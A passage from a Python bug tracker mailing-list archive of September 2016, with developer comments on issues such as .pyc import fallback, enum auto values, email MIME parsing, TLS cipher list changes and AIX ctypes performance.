Sohaib Ahmad added the comment:

I am not much familiar with mercurial. I will try to setup the development environment.

Traceback is:

[Errno ftp error] 200 Switching to Binary mode.
Traceback (most recent call last):
  File "multiple_ftp_download.py", line 49, in main
    file2_path = download_from_url(url2, local_folder=tmpDir)
  File "multiple_ftp_download.py", line 32, in download_from_url
    filename = urllib.urlretrieve(url, local_path)[0]
  File "C:\Python27\lib\urllib.py", line 98, in urlretrieve
    return opener.retrieve(url, filename, reporthook, data)
  File "C:\Python27\lib\urllib.py", line 245, in retrieve
    fp = self.open(url, data)
  File "C:\Python27\lib\urllib.py", line 213, in open
    return getattr(self, name)(url)
  File "C:\Python27\lib\urllib.py", line 558, in open_ftp
    (fp, retrlen) = self.ftpcache[key].retrfile(file, type)
  File "C:\Python27\lib\urllib.py", line 906, in retrfile
    conn, retrlen = self.ftp.ntransfercmd(cmd)
  File "C:\Python27\lib\ftplib.py", line 334, in ntransfercmd
    host, port = self.makepasv()
  File "C:\Python27\lib\ftplib.py", line 312, in makepasv
    host, port = parse227(self.sendcmd('PASV'))
  File "C:\Python27\lib\ftplib.py", line 830, in parse227
    raise error_reply, resp
IOError: [Errno ftp error] 200 Switching to Binary mode.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:49:38 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 19:49:38 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
Message-ID: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>


New submission from Eric Snow:

As pointed out in #16384, a bad .pyc file will cause a module to fail importing.  Sometimes the .py file is okay, however.  The question posed in the other issue is if it would be desirable to fall back to the .py file.

FWIW, I don't think it's worth it.

----------
components: Interpreter Core
messages: 274872
nosy: barry, brett.cannon, eric.snow, ncoghlan, syeberman
priority: normal
severity: normal
stage: needs patch
status: open
title: Bad .pyc files prevent import of otherwise valid .py files.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:51:12 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 19:51:12 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473277872.18.0.392778451524.issue16384@psf.upfronthosting.co.za>


Eric Snow added the comment:

I've opened #28007 to cover the concerns about bad a .pyc file blocking import from a valid .py file.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:54:51 2016
From: report at bugs.python.org (Davin Potts)
Date: Wed, 07 Sep 2016 19:54:51 +0000
Subject: [issue6766] Cannot modify dictionaries inside dictionaries using
 Managers from multiprocessing
In-Reply-To: <1251049590.58.0.809281249474.issue6766@psf.upfronthosting.co.za>
Message-ID: <1473278091.57.0.821889197827.issue6766@psf.upfronthosting.co.za>


Davin Potts added the comment:

Updating previously supplied patch for 3.6 to the right format.

----------
Added file: http://bugs.python.org/file44448/issue_6766_py36.nogit.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6766>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:54:56 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 07 Sep 2016 19:54:56 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473278096.25.0.685490066807.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

_member_() is fine with me, though I prefer _auto_(). _auto_member_() is probably too much. :-)

The argument "we already do magic, so let's do also this bit of non-connected magic" seems very weak to me. But in fact those other things are not _magic_ in the same sense as this one (except repatching __new__, I agree that's weird, but Guido started that game when he declared bool unsubclassable:). They are just added behaviors.

This is something fundamental: it is breaking the promise that class body is a suite of commands, where Python statements (such as assignment) have their usual semantics. If I ever see, in any suite,

    a = x
    b = x

and after that `a is not b`, I feel cheated. Even more strongly: I _don't know how to think about the code_ anymore. Those look like assignment statements, but they are not. What are they? Is this Python?

And what if you really do want to make aliases? Are you saying that

    a = x
    b = a

should be fundamentally different than the above? Oh, please let's not go there. :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:01:27 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 20:01:27 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473278487.78.0.155604943047.issue23591@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> Any problems with:
> 
> class Color(Enum):  # or Color(Flag)
>  red = _auto_
>  green = _auto_
>  blue = _auto_

As long as _auto_ has been defined somewhere (i.e. from enum import _auto_), it is normal Python and doesn't fight with the rest of language or its toolchains.

The idea does seem to be at odds with the enum module itself.  Heretofore, the rule for the module is that if the same object is assigned to multiple variable names, those names become synonyms.

    >>> from enum import Enum
    >>> class Color(Enum):
	red = 1
	magenta = 1
	orange = 2
	ochre = 2

    >>> Color.orange is Color.ochre
    True

Also, I still question the need, you already have multiple ways to do it:

    Color = Enum('Color', ['red', 'green', 'blue'])

    Color = Enum('Color', '''
        red
        green
        blue
    ''')

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:06:55 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 20:06:55 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473278815.23.0.638713178305.issue28007@psf.upfronthosting.co.za>


R. David Murray added the comment:

I agree, I don't think it is worth it.  If we did do it, there should be a warning, and things should still fail if the new .pyc file can't be written to replace the corrupt one.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:14:38 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 20:14:38 +0000
Subject: [issue27010] email library could "recover" from bad mime boundary
 like (some?) email clients do
In-Reply-To: <1463067718.45.0.558318505018.issue27010@psf.upfronthosting.co.za>
Message-ID: <1473279278.37.0.778994711338.issue27010@psf.upfronthosting.co.za>


R. David Murray added the comment:

Andrea: yes, your patch is different from what I had in mind.  The idea would be to recognize the "nested part with duplicate boundary", register the new defect, but produce a Message object with a structure that looked like this:

  multipart/mixed
    multipart/alternative
        text/plain
        text/html
    image/gif

What your patch produces is:

  multipart/mixed
    multipart/alternative
    text/plain
    text/html

which is not recognizing the nested multipart or the final MIME part (which is the OPs goal).

In principle it should be possible to parse the nesting despite the bad boundary (other MIME parsers do it, as documented here), but I'm not sure how hard it will be to modify Feedparser to do it.  Looking at the code it seems like it shouldn't be that hard to make it work, but I haven't dug deeply enough to be sure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27010>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:18:43 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 20:18:43 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473257927.13.0.313458686726.issue27989@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJKmGP8X56n5_D6YYhtSK1kGHGMYuPvL-fg1h9WquUz_zg@mail.gmail.com>


Guido van Rossum added the comment:

That sounds a fine solution (except the elif should just test for `in
'typing'`). Can one of you prepare a patch? I think it should be fine
to fix this in 3.5 as well.

There should be a unit test for this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:29:37 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 20:29:37 +0000
Subject: [issue27331] Add a policy argument to email.mime.MIMEBase
In-Reply-To: <1466073647.47.0.429372959399.issue27331@psf.upfronthosting.co.za>
Message-ID: <1473280177.57.0.75006198916.issue27331@psf.upfronthosting.co.za>


R. David Murray added the comment:

I'm going to commit this, but leave the issue open for someone to provide tests.

----------
stage: patch review -> test needed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27331>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:42:23 2016
From: report at bugs.python.org (Spencer Brown)
Date: Wed, 07 Sep 2016 20:42:23 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>
Message-ID: <1473280943.55.0.794937947995.issue27989@psf.upfronthosting.co.za>


Spencer Brown added the comment:

It might be better to just change the if statement to 'if isinstance(annotation, type) and type(annotation).__repr__ is type.__repr__:'. That would make it fallback for any metaclass which overrides repr, instead of special-casing typing. That also ensures 'typing.' is still in the name, since these aren't builtins.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:46:18 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 20:46:18 +0000
Subject: [issue27331] Add a policy argument to email.mime.MIMEBase
In-Reply-To: <1466073647.47.0.429372959399.issue27331@psf.upfronthosting.co.za>
Message-ID: <1473281178.57.0.816596503954.issue27331@psf.upfronthosting.co.za>


R. David Murray added the comment:

Sorry, I must have mispaged or something and missed the tests on the first readthrough.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27331>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:48:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 20:48:59 +0000
Subject: [issue27331] Add a policy argument to email.mime.MIMEBase
In-Reply-To: <1466073647.47.0.429372959399.issue27331@psf.upfronthosting.co.za>
Message-ID: <20160907204856.38763.98753.B4211B19@psf.io>


Roundup Robot added the comment:

New changeset 481d14cb7595 by R David Murray in branch 'default':
#27331: add policy keyword argument to all MIME subclasses.
https://hg.python.org/cpython/rev/481d14cb7595

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27331>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:49:15 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 20:49:15 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473281355.74.0.450851626152.issue1602@psf.upfronthosting.co.za>


Steve Dower added the comment:

Updated patch based on some suggestions from Eryk.

The PEP has been accepted, so now I just need to land it in the next two days.

Currently "normal" usage here is fine, and some edge cases match the Python 3.5 behaviour. I'm going to go through now and bulk out the tests to try and catch more problems, but modulo that I hope the implementation is nearly ready.

----------
Added file: http://bugs.python.org/file44449/1602_5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:50:41 2016
From: report at bugs.python.org (Sye van der Veen)
Date: Wed, 07 Sep 2016 20:50:41 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473281440.99.0.641215602806.issue28007@psf.upfronthosting.co.za>


Sye van der Veen added the comment:

Consider a process that is terminated while writing a large .pyc file.  Currently a user can only fix this by deleting the .pyc file, which requires knowing where to look.  A developer can be expected to know this, but the end user of their application certainly would not.

.pyc files are a cache.  When your cache is corrupted, you recreate it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:50:47 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 20:50:47 +0000
Subject: [issue27331] Add a policy argument to email.mime.MIMEBase
In-Reply-To: <1466073647.47.0.429372959399.issue27331@psf.upfronthosting.co.za>
Message-ID: <1473281447.98.0.70608453599.issue27331@psf.upfronthosting.co.za>


R. David Murray added the comment:

Thanks, Berker.

----------
resolution:  -> fixed
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27331>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:51:47 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 20:51:47 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <1473281507.56.0.444076690527.issue27999@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Yes, nonlocal will be fixed too. This will be a relatively small patch, but I am a bit afraid there could be merge conflicts (the code affected could overlap with changes for PEP 526).

Easiest way would be to simply make this a single patch with PEP 526 implementation (this will actually even slightly simplify the implementation).

Alternatively we could fix this right after the implementation patch is applied. What do you prefer?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:51:36 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 20:51:36 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473281496.07.0.791810198047.issue27781@psf.upfronthosting.co.za>


Steve Dower added the comment:

PEP 529 has been accepted, so this really needs a review now. But since it's experimental and all the tests pass, I'll be committing it shortly anyway and will be tidying up issues during beta.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:54:31 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 20:54:31 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>
Message-ID: <1473281671.21.0.490940561594.issue27989@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I've lost you -- why don't you upload a patch?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:58:48 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 20:58:48 +0000
Subject: [issue28006] Remove tracing overhead from the fine-grained fast
 opcodes
In-Reply-To: <1473274492.45.0.298672854807.issue28006@psf.upfronthosting.co.za>
Message-ID: <1473281928.63.0.224375345091.issue28006@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28006>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:59:07 2016
From: report at bugs.python.org (Sye van der Veen)
Date: Wed, 07 Sep 2016 20:59:07 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <1473281947.48.0.778742088383.issue28005@psf.upfronthosting.co.za>


Changes by Sye van der Veen <syeberman at gmail.com>:


----------
nosy: +syeberman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Wed Sep  7 16:59:08 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 07 Sep 2016 20:59:08 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473281948.94.0.153941724834.issue27137@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Thank you Serhiy for the comments! Here's a new patch. I'm fine with the recursive repr tests failing for now; it's something I believe we can fix during the beta phase if we don't have time before (fix as in modify the C implementation to match the Python version instead of the other way around).

----------
Added file: http://bugs.python.org/file44450/functools_partial_4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:02:14 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 21:02:14 +0000
Subject: [issue10839] email module should not allow some header field
 repetitions
In-Reply-To: <1294263603.86.0.308955870327.issue10839@psf.upfronthosting.co.za>
Message-ID: <1473282134.42.0.504348220394.issue10839@psf.upfronthosting.co.za>


R. David Murray added the comment:

I've committed Berker's patch from #27331, and I'm about to take the new email API out of provisional status.

Barry is committed to not changing this behavior in 2.7 and I agree.  In any case 2.7 doesn't differentiate between headers being added by the user and headers coming from the parsed message, and the latter *have* to allow duplicates even if the fields aren't supposed to be.  The python3 code does make a distinction between these two cases, which is what allowed me to do the fix in the new policies.  (Yes, you *could* fix feedparser and message in 2.7 so it also could tell, but that is an invasive change).

So, I'm re-closing this as fixed.  It's "won't fix" for 2.7 and compat32.

----------
status: open -> closed
versions: +Python 3.5, Python 3.6 -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10839>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:02:14 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 21:02:14 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1473217569.22.0.459984320183.issue27850@psf.upfronthosting.co.za>
Message-ID: <05cf320f-7736-b56b-4ff8-1653bf3ecef2@cheimes.de>


Christian Heimes added the comment:

On 2016-09-07 05:06, Larry Hastings wrote:
> 
> Larry Hastings added the comment:
> 
>> FWIW the cipher list (at least the restricted ones for
>> ssl.create_default_context()) is explicitly documented
>> as being able to be changed at any time without prior deprecation
> 
> Yes.  To be specific:  "The protocol, options, cipher and other settings may change to more restrictive values anytime without prior deprecation."
> 
> https://docs.python.org/3/library/ssl.html#ssl.create_default_context
> 
> I've seen no documentation suggesting that we can add new ciphers at any time.

ChaCha20 is part of the HIGH cipher set. That means the patch does not
*add* ChaCha20. It's already added by the HIGH rule. The patch rather
moves the cipher ChaCha20 Poly1305 suits in the right place.

Christian

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:03:12 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 21:03:12 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473282192.28.0.670454957757.issue19500@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Session resumption is currently broken in OpenSSL 1.1.0, https://github.com/openssl/openssl/issues/1550

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:08:05 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 21:08:05 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473281507.56.0.444076690527.issue27999@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJLEBCRd7cKO9GkEpTEp9wYWLCCmmz67oTZbQRk5anHnPA@mail.gmail.com>


Guido van Rossum added the comment:

I strongly prefer to have it as a separate patch (either before or
after) to avoid the appearance of piggy-backing this in with a much
larger change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:11:37 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 21:11:37 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <1473282697.76.0.87421282966.issue27999@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

OK, then I think after will be safer. Let us came back to this right after PEP 526.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:15:23 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 21:15:23 +0000
Subject: [issue28006] Remove tracing overhead from the fine-grained fast
 opcodes
In-Reply-To: <1473274492.45.0.298672854807.issue28006@psf.upfronthosting.co.za>
Message-ID: <1473282923.26.0.0942202246013.issue28006@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Working on a revised patch.  Stand by.

----------
assignee: steve.dower -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28006>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:15:28 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 07 Sep 2016 21:15:28 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
Message-ID: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

This patch is supposed to be committed after issue #28003.

----------
assignee: yselivanov
components: Interpreter Core
files: async_comp_1.patch
keywords: patch
messages: 274897
nosy: haypo, lukasz.langa, ned.deily, yselivanov
priority: release blocker
severity: normal
stage: patch review
status: open
title: PEP 530, asynchronous comprehensions implementation
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44451/async_comp_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:23:31 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 21:23:31 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473283411.99.0.0527489631799.issue23545@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:39:31 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 21:39:31 +0000
Subject: [issue28006] Remove tracing overhead from the fine-grained fast
 opcodes
In-Reply-To: <1473274492.45.0.298672854807.issue28006@psf.upfronthosting.co.za>
Message-ID: <1473284371.41.0.634650547285.issue28006@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I'm going to withdraw this one.  I'm not familiar enough with this part of the code to reliably make changes to it.

----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28006>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:47:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 21:47:50 +0000
Subject: [issue22233] http.client splits headers on non-\r\n characters
In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za>
Message-ID: <20160907214744.3610.8072.A9CACE99@psf.io>


Roundup Robot added the comment:

New changeset 69900c5992c5 by R David Murray in branch '3.5':
#22233: Only split headers on \r and/or \n, per email RFCs.
https://hg.python.org/cpython/rev/69900c5992c5

New changeset 4d2369b901be by R David Murray in branch 'default':
Merge: #22233: Only split headers on \r and/or \n, per email RFCs.
https://hg.python.org/cpython/rev/4d2369b901be

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22233>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:49:00 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 21:49:00 +0000
Subject: [issue22233] http.client splits headers on non-\r\n characters
In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za>
Message-ID: <1473284940.26.0.945905033152.issue22233@psf.upfronthosting.co.za>


R. David Murray added the comment:

I want to stack another patch on top of this, so I committed it.  If you see anything I screwed up, Martin, please let me know.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22233>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:51:53 2016
From: report at bugs.python.org (Michael Felt)
Date: Wed, 07 Sep 2016 21:51:53 +0000
Subject: [issue21826] Performance issue (+fix) AIX ctypes.util with no
 /sbin/ldconfig present
In-Reply-To: <1403452871.25.0.30621640858.issue21826@psf.upfronthosting.co.za>
Message-ID: <1473285113.77.0.185230559325.issue21826@psf.upfronthosting.co.za>


Michael Felt added the comment:

re: issue 26439 and issue 27435 would like to show:

without patch, find_library() is consistently slow, and in default situations, returns nothing.

root at x064:[/data/prj/aixtools/python/python-2.7.10]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("crypt")'
100 loops, best of 3: 29.6 msec per loop
root at x064:[/data/prj/aixtools/python/python-2.7.10]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("crypt")'
100 loops, best of 3: 28.8 msec per loop
root at x064:[/data/prj/aixtools/python/python-2.7.10]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("c")'
100 loops, best of 3: 29.4 msec per loop
root at x064:[/data/prj/aixtools/python/python-2.7.10]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("m")'
100 loops, best of 3: 29.8 msec per loop
root at x064:[/data/prj/aixtools/python/python-2.7.10]cd -
/data/prj/aixtools/python/python-2.7.12.1
root at x064:[/data/prj/aixtools/python/python-2.7.12.1]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("crypt")'
100 loops, best of 3: 13.5 msec per loop
root at x064:[/data/prj/aixtools/python/python-2.7.12.1]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("c")'
100 loops, best of 3: 21.4 msec per loop
root at x064:[/data/prj/aixtools/python/python-2.7.12.1]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("m")'
100 loops, best of 3: 26.1 msec per loop

The results can be explained as follows:
no patch - all fail, nothing is ever found in a default environment.

with patch: crypt - the answer includes the archive member libcrypt.so, so it is found "earlier" than for "c" which must look for legacy names, which is faster than "m" which does not exist.

What I consider "frightening" - and a good reason to stay with Python2 as long as possible is the follow difference
Python3.6a2 - unpatched, versus Python3.6a4 - ctypes.util patched for AIX:

root at x064:[/data/prj/aixtools/python/python-3.6.0.162]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("crypt")'
100 loops, best of 3: 84.1 msec per loop
root at x064:[/data/prj/aixtools/python/python-3.6.0.162]cd ../*164
root at x064:[/data/prj/aixtools/python/python-3.6.0.164]./python -m timeit -n 100 'import ctypes.util; ctypes.util.find_library("crypt")'
100 loops, best of 3: 66.6 msec per loop

FYI: this is on a POWER6 (so h/w is 'quite old', msec should be seen as relative, not as accurate for newer hardware)

----------
nosy: +Michael.Felt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21826>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:52:40 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 07 Sep 2016 21:52:40 +0000
Subject: [issue28002] Some f-strings do not round trip through
 Tools/parser/test_unparse.py
In-Reply-To: <1473268698.62.0.800338957351.issue28002@psf.upfronthosting.co.za>
Message-ID: <1473285160.46.0.908056774159.issue28002@psf.upfronthosting.co.za>


Changes by Eric V. Smith <eric at trueblade.com>:


----------
title: f-strings do not round trip through Tools/parser/test_unparse.py -> Some f-strings do not round trip through Tools/parser/test_unparse.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28002>
_______________________________________

From report at bugs.python.org  Wed Sep  7 18:10:49 2016
From: report at bugs.python.org (Larry Hastings)
Date: Wed, 07 Sep 2016 22:10:49 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473286249.12.0.954166951095.issue27850@psf.upfronthosting.co.za>


Larry Hastings added the comment:

Okay.  We (Ned Deily + Steve Dower + me) talked it over here at the core dev sprints, and they convinced me that it's basically okay to add the CHACHA20 string to 3.4 and 3.5--it has some history, and OpenSSL is a little different, etc etc.  So go for it.

I suspect it won't affect very many people anyway, because not many will use Python 3.4 with a version of OpenSSL that supports ChaCha20.  It's more likely with 3.5 users--not with our binary installers, but perhaps the Linux distributions that release during what remains of 2016.

----------
versions: +Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Wed Sep  7 18:16:02 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 22:16:02 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>
Message-ID: <1473286562.9.0.14566754388.issue27989@psf.upfronthosting.co.za>


Changes by Ivan Levkivskyi <levkivskyi at gmail.com>:


----------
nosy: +levkivskyi

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Wed Sep  7 18:44:26 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 07 Sep 2016 22:44:26 +0000
Subject: [issue22233] http.client splits headers on non-\r\n characters
